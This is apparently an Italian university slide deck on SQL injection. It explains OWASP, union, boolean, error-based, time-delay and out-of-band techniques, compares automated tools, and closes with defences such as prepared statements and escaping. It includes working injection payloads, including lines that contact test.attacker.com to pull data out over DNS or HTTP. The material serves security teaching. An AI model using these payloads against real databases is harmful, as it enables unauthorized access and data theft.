SQL INJECTION Details and Prevention Giuseppe Santaniello Giuseppe Pietravalle Programmazione Sicura A.A. 2014/2015 OWASP • Open Web Application Security Project (OWASP) è un progetto open-source per la sicurezza delle applicazioni • Offre guide e consigli sulla creazione di applicazioni sicure • Nel 2004 fu istituita una fondazione no-profit che supporta l'OWASP E’ presente anche in Italia 2 OWASP TOP 10 - 2013 • Venne pubblicata per la prima volta nel 2003 • Il suo scopo principale è quello di fornire informazioni in merito alle conseguenze delle più importanti vulnerabilità di sicurezza sulle applicazioni web • Mostra tecniche di base per proteggersi 3 OWASP TOP 10 - 2013 4 INJECTION • Si verifica quando dati non validati sono inviati come parte di un comando o di una query al loro interprete • Conseguenze: • esecuzione di comandi non previsti • accesso a dati per i quali non si ha l’autorizzazione • … 5 INJECTION 6 Vulnerabilità • Cattiva validazione dell’input: • SQL Injection • XSS • Buffer Overflow • … • “All input is Evil” Writing Secure Code - Michael Howard 7 SQL Injection • E’ una tecnica di hacking utilizzata per colpire applicazioni web che si appoggiano su un DBMS • Sfrutta l'inefficienza dei controlli sui dati ricevuti in input inserendo “codice maligno” all'interno di una query SQL • Nel 2013, è stata classificata da OWASP come l’attacco più utilizzato 8 Classi di SQL Injection • Inband: i dati vengono estratti utilizzando lo stesso canale usato per iniettare il codice SQL • Out-of-band: i dati vengono recuperati attraverso un canale differente (ad esempio, una e-mail) • Inferential o Blind: i dati vengono ricostruiti osservando le risposte del Server a particolari richieste 9 Applicazione Vulnerabile • L’applicazione interagisce con un DB? • individuare i campi di input per la realizzazione di una query SQL in modo da generare un errore • inserire un apice (‘) o un punto e virgola (;) ad un campo o ad parametro nell'url del sito • spesso sono presenti pagine di errore personalizzate 10 Attacco Standard • Si consideri la seguente query SQL: SELECT * FROM Users WHERE Username='$username' AND Password='$password' • Si supponga di inserire i seguenti valori: • $username = 1’ or ‘1’ = ‘1 • $password = 1’ or ‘1’ = ‘1 11 Conseguenza • Query risultante: SELECT * FROM Users WHERE Username=’1’ OR ‘1’=‘1’ AND Password=’1’ OR ‘1’ =‘1’ • Autenticazione senza conoscere le effettive credenziali di accesso 12 Tecniche • • • • • Union Operator Boolean Error based Out-of-band Time delay 13 Union Operator • L'operatore UNION viene utilizzato per unire una query appositamente creata a quella originale • Il risultato della query “contraffatta” sarà affiancato al risultato di quella originale, permettendo di ottenere i valori delle colonne di altre tabelle • Si consideri la seguente query: SELECT Name, Phone, Address FROM Users WHERE Id=$id 14 Union Operator • Impostando il valore di $id in questo modo: $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable • Si otterrà la seguente query: SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable • Il risultato della query originale si unirà con tutti i numeri di carte di credito presenti nella tabella CreditCardTable. 15 Union Operator • Da notare: sono stati selezionati altri due valori • Motivo: le due query devono avere un numero uguale di parametri/colonne per evitare un errore di sintassi • UNION ALL: permette di ottenere le righe duplicate 16 Union Operator • Obiettivo: trovare il giusto numero di colonne da utilizzare nella SELECT • Utilizzo della clausola ORDER BY seguita da un numero che indica una determinata colonna del database in questione http://www.example.com/product.php?id=10 ORDER BY 10 -- 17 Union Operator • La query viene eseguita con successo? 1. Si: il DB possiede 10 o più colonne 2. No: il DB possiede meno colonne • Dopo aver scoperto il numero di colonne, bisogna capire il tipo di ogni colonna • Si può provare ad utilizzare il valore NULL: http://www.example.com/product.php?id=10 UNION SELECT 1,null,null 18 Union Operator • Se la query fallisce, verrà visualizzato un messaggio di errore • Se, invece, la query viene eseguita con successo significa che il primo campo è di tipo intero • Si procede, quindi, allo stesso modo per comprendere il tipo delle restanti colonne 19 Boolean Exploitation • Molto utile quando ci si trova in una situazione di Blind SQL Injection • Blind SQL Injection: • Non si sa nulla sul risultato di un'operazione • Es. lo sviluppatore ha realizzato una pagina personalizzata di errore • Utilizzando metodi di inferenza è possibile superare questo ostacolo 20 Boolean Exploitation • Con il termine Inferenza si intende una conclusione tratta da un insieme di fatti o circostanze • Si eseguono alcuni test di verità sui parametri vulnerabili e, in base al risultato, si deducono i loro valori • I test sono di tipo binario (true/false) • E’ necessario distinguere il significato di vero da quello di falso 21 Boolean Exploitation • Si supponga che ci sia un parametro vulnerabile (id) • Si definisce una query sintatticamente corretta che restituisce un valore falso: SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1'='2' • Il valore falso è rappresentato dal contenuto della pagina web restituita 22 Boolean Exploitation • Obiettivo: determinare il valore di ogni singolo carattere del parametro username • Inferential query: SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1' • La query restituisce un risultato se e solo se il primo carattere del campo username è uguale al valore ASCII 97 • Si prosegue allo stesso modo per i restanti caratteri 23 Boolean Exploitation • Quando bisogna terminare la procedura di inferenza? • La funzione substring() restituisce NULL quando l'indice corrente è maggiore della lunghezza della stringa stessa • Se il valore del carattere su cui si sta facendo inferenza è uguale a 0 allora è stata esaminata tutta la stringa. • Se il valore della variabile su cui si sta facendo inferenza contiene il carattere ASCII 0? 24 Boolean Exploitation • Soluzione: fare inferenza sulla lunghezza. • Quando si incontra il carattere NULL, si va a fare inferenza sulla lunghezza della stringa • E’ necessario memorizzare il numero di caratteri analizzati (n) • La lunghezza della stringa rappresentante il valore è uguale a n? SI => fine NO => continuare a fare inferenza sul prossimo carattere 25 Error based Exploitation • Consiste nel forzare il database ad eseguire delle operazioni il cui risultato sarà sicuramente un errore • Si cerca di estrarre delle informazioni dal database mediante il messaggio di errore dato in output • Questa tecnica può essere differente per ogni DBMS 26 Error based Exploitation • Si consideri la richiesta: http://www.example.com/product.php?id=10 • La query risulterà la seguente: SELECT * FROM products WHERE id_product = $id_product 27 Error based Exploitation • Effettuando la seguente richiesta si può provare a prelevare delle informazioni: http://www.example.com/ product.php?id=10||UTL_INADDR.GET_HOST_NAME ((SELECT user FROM DUAL)) -- • GET_HOST_NAME è una funzione Oracle che restituisce l’hostname del parametro in input • DUAL è una tabella fittizia • Ogni DB Oracle possiede la propria tabella DUAL 28 Error based Exploitation • Quando si cerca nel database un hostname dando in input alla funzione un nome utente, si ha un esito negativo: ORA-292257: host SCOTT unknown • Successivamente, si potrà manipolare il parametro passato a GET_HOST_NAME e il risultato verrà visualizzato nel messaggio d’errore 29 Out of band Exploitation • Viene utilizzata quando non si riesce a sfruttare l’ Error Based Exploitation technique • La richiesta: https://example.com/products.aspx?id=1;EXECmaster..xp_dirtree \\test.attacker.com\' -- • Query: SELECT * FROM products WHERE id=1; EXEC master..xp_dirtree '\\test.attacker.com\' -30 Out of band Exploitation • L’ultima query viene usata per ottenere la lista di tutte le cartelle • E’ sufficiente controllare i log del server DNS e cercare informazioni su test.attacker.com • Una variante di questo attacco può essere realizzata per database Oracle: SELECT * FROM products WHERE id=1||UTL_HTTP.request('http:// test.attacker.com/') -31 Time delay Exploitation • Si cerca di rallentare il database • Se quest’ultimo risponde in ritardo, allora è vulnerabile ad attacchi SQL injection. • Come per la OOB e la Error Based, questa tecnica cambia in base al DBMS • Si consideri la seguente richiesta e la relativa query: • http://www.example.com/product.php?id=10 • SELECT * FROM products WHERE id_product=$id_product 32 Time delay Exploitation • Un attaccante può effettuare la seguente richiesta: http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’)) • La versione di MySQL inizia per 5? 1. Si: viene eseguita la sleep di 10 secondi 2. No: viene restituito false 33 Applicazioni di supporto • Sono state utilizzate le seguenti web application: 1. DVWA 2. SQLI Labs 34 DVWA • DVWA è un'applicazione web vulnerabile scritta in PHP/ MySQL • aiuta i professionisti della sicurezza e gli sviluppatori web • L'applicazione fornisce una lista delle vulnerabilità più comuni • Permette di impostare tre livelli di sicurezza 1. low 2. medium 3. high • In base al livello, viene cambiato il grado di vulnerabilità 35 dell'applicazione Test DVWA 36 SQLi Labs • E’ una web application vulnerabile • E’ stata utilizzata per comprendere ed analizzare le seguenti tecniche: 1. Boolean Exploitation 2. Time Delay Exploitation 37 Boolean Test 38 Time Delay Test 39 Tool • Automatizzano le tecniche descritte in precedenza • I tool analizzati: 1. SQLmap 2. BSQL Hacker 3. SQL Power Injection 4. Pangolin 5. W3AF 6. SQLiX 40 SQLmap • E’ un software open source sviluppato in Python • Pieno supporto a: • Sfrutta le tecniche: 1. MySQL 1. Boolean-based blind 2. Oracle 2. Time-based blind 3. PostgreSQL 3. Error-based 4. Microsoft SQL Server 4. UNION query 5. Microsoft Access 41 BSQL Hacker • E’ un tool finalizzato a condurre penetration testing ed include la verifica di vulnerabilità di tipo SQL Injection. • Presente interfaccia grafica • DBMS supportati: • Sfrutta le tecniche: 1. Oracle 1. Blind-based 2. MySQL 2. Error-based 3. MSSQL 42 SQL Power Injection • E’ un'applicazione creata in .NET 1.1 • E’ possibile utilizzarlo con qualsiasi DBMS esistente quando si utilizza l’injection inline • Possiede un browser interno • Plugin per Firefox 43 Pangolin • E’ un tool di penetration testing sviluppato da NOSEC • E’ disponibile una versione full function per 15 giorni • Pieno supporto a: 1. MySQL 2. Oracle 3. PostgreSQL 4. Microsoft SQL Server 5. PostgreSQL 6. … 44 W3af • E’ un’applicazione open source finalizzato al security testing di web application • Prevede due modalità di utilizzo: • mediante interfaccia grafica; • mediante istruzioni a linea di comando. • Possibilità di impostare profili di testing • Supporta i principali DBMS • Integrazione con SQLmap 45 SQLiX • Progetto di OWASP scritto in Perl • E’ in grado di utilizzare le tecniche più comuni e le cosiddette tecniche Blind SQL injection • Supporta i DBMS: 1. MS- Access 2. MS- SQL 3. MySQL 4. Oracle 5. PostgreSQL 46 Confronto 100 75 50 25 0 SQLmap BSQL Hacker SQL PI Pangolin W3af SQLiX 47 Conclusioni • I tool sono stati analizzati sulle seguenti applicazioni vulnerabili: 1. DVWA 2. SQLi labs 3. Nostra web application 4. http://testphp.vulnweb.com/ (Acunetix) • Motivo: • Operare in assoluta sicurezza e nel rispetto della legge 48 Come difendersi • Non esiste una soluzione assoluta e portabile allo stesso tempo • A seconda dei casi è possibile adottare diverse strategie: 1. Controlli sul tipo di dato 2. Creazione di filtri tramite espressioni regolari 3. Eliminazione di caratteri potenzialmente dannosi 4. Escape di caratteri potenzialmente dannosi 5. Prepared statement 6. Utilizzo di apposite API 49 Controlli sul tipo di dato • Il type casting è un’operazione che forza una variabile ad essere valutata come appartenente ad un certo tipo • Esempio: $id = (int) $_GET['id']; $sql = “SELECT * from articoli WHERE id=$id”; • $id avrà sicuramente un valore intero • Può essere eseguito anche mediante: settype(), intval() • Si può effettuare un check mediante: is_numeric(), is_int(),gettype() 50 Espressioni regolari • E’ una sequenza di simboli che identifica un’insieme di stringhe • preg_match() in PHP : if (preg_match(“/^[a-z0-9]{4,12}$/i”, $login)) { // ok } else { // errore } 51 Eliminare caratteri pericolosi • Si può decidere di eliminare eventuali caratteri pericolosi: apice, doppio apice, punto e virgola, ecc… • Esempio: $input = “Paperon de’ Paperoni”; $output = str_replace(“‘”, “”, $input); $output = “Paperon de Paperoni”; • Questo tipo di approccio può risultare difficile da applicare 52 Escape delle stringhe • Utilizzo di specifiche funzioni per l’escape di particolari caratteri • Esempio: $username=admin e $password=1’ or ‘1’=‘1 $query = sprintf("SELECT * FROM users WHERE username = '%s' AND password =%s';", mysqli_real_escape_string($connection, $username), mysqli_real_escape_string($connection, $password)); • La query diventa: SELECT * FROM users WHERE username = 'admin' AND password = '1\' OR53\'1\'=\'1'; Prepared Statement • Si divide in tre fasi: 1. Prepare 2. Parse e Compile 3. Execute 54 Prepared Statement • Esempio $record_id = 5; $pst = $mysqli->prepare("SELECT nome, cognome FROM agenda WHERE record_id = ?"); $pst->bind_param('i', $record_id); $pst->execute(); • Viene separata la logica dell’SQL dal dataset 55 API • Free Email Verifier • Si basa sul protocollo SMTP { "authentication_status":1,"limit_status":0,"limit_desc":"Not Limited","verify_status":1,"verify_status_desc":"MX record about gmail.com exists.Connection succeeded to alt1.gmail-smtp-in.l.google.com SMTP.220 mx.google.com ESMTP mq18si30921640vdb.57 - gsmtp\n> HELO verify-email.org 250 mx.google.com at your service\n> MAIL FROM: [email protected] =250 2.1.0 OK mq18si30921640vdb.57 gsmtp\n> RCPT TO: [email protected] =250 2.1.5 OK mq18si30921640vdb.57 56 gsmtp\n" }